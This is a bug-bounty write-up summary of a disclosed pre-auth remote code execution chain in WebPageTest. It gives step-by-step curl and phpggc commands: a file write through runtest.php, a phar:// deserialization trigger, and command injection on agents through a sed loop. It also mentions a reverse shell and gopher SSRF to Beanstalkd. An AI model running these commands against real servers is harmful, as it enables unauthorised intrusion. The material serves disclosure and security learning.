# Pre-Auth Remote Code Execution - Web Page Test

Pre-auth file write in WebPageTest's runtest.php plus a phar:// sink in is_dir yields Monolog gadget deserialization and RCE on master and agents.

- Payout: $300
- Severity: critical
- Program: CatchPoint
- Credited: Laluka
- Disclosed: 2022-09-23
- Write-up quality: 9/10
- Original: https://thinkloveshare.com/hacking/preauth_remote_code_execution_web_page_test/
- Library page: https://bugbountylibrary.com/r/blog%3Athinkloveshare-com-hacking-preauth-remote-code-execution-web-page-test
- Tags: domain:web impact:rce kind:bounty platform:blog sev:critical tech:php technique:chained technique:incomplete-fix technique:source-review vuln:deserialization vuln:rce vuln:ssrf

**Target:** PHP web app (runtest.php, jpeginfo.php) and wptagent workers
**Root cause:** runtest.php writes attacker-controlled ini bytes to a predictable path under results/<rkey>./testinfo.ini, and a later is_dir() call on an attacker-controlled rkey string is passed to a filesystem function accepting the phar:// scheme, triggering PHAR deserialization with Monolog autoloaded.
**Steps:**
1. Generate gadget: `/opt/phpggc/phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini`
2. URL-encode all bytes: `cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g"`
3. Write phar: `curl -sSkig 'http://127.0.0.1:4000/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD"` -> `/var/www/html/results/gadget./testinfo.ini`
4. Trigger sink: `curl -sSkig 'http://127.0.0.1:4000/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo'`
5. For agents: reverse shell on master, loop `sed -i 's#--user-data-dir#;touch /tmp/rce-agent;#g'` over `work/jobs/Test/*.url`, then start a scan
**How found:** Started with crawling/fuzzing to find a pre-auth SSRF in jpeginfo.php, then code reading and semgrep greps surfaced the runtest.php file write; noticed SaveTestInfo concatenates attacker-controlled rkey into a filesystem path and that one sink lacked the './' prefix hardening, leading to phar:// gadget hunting and discovering Monolog autoload.
**Exploitation:** Attacker writes a phpggc Monolog/RCE2 phar to a predictable path via the unauthenticated runtest.php ini parameter, then passes a phar:// URL with a trailing slash (archive sub-item trick) as rkey so is_dir() opens the archive and unserializes the gadget, executing system() on the master. On agents, the master's job JSON is modified in place to inject shell metacharacters into the chromium --user-data-dir argument, executed in a subshell when the agent polls the job.
**Escalation:** Chained SSRF (with gopher via CURLOPT_FOLLOWLOCATION) and file-write primitives; extended from master RCE to agent RCE via job-file command injection; also described Beanstalkd queue injection path using SSRF gopher to port 11300.
**Insight:** When a codebase prefixes paths with './' to block scheme injection, grep for the one filesystem sink that forgot it; and remember phar:// accepts a trailing '/subitem' so a path ending in a dot (blocked by PHP's phar name check) can still be opened as an archive.
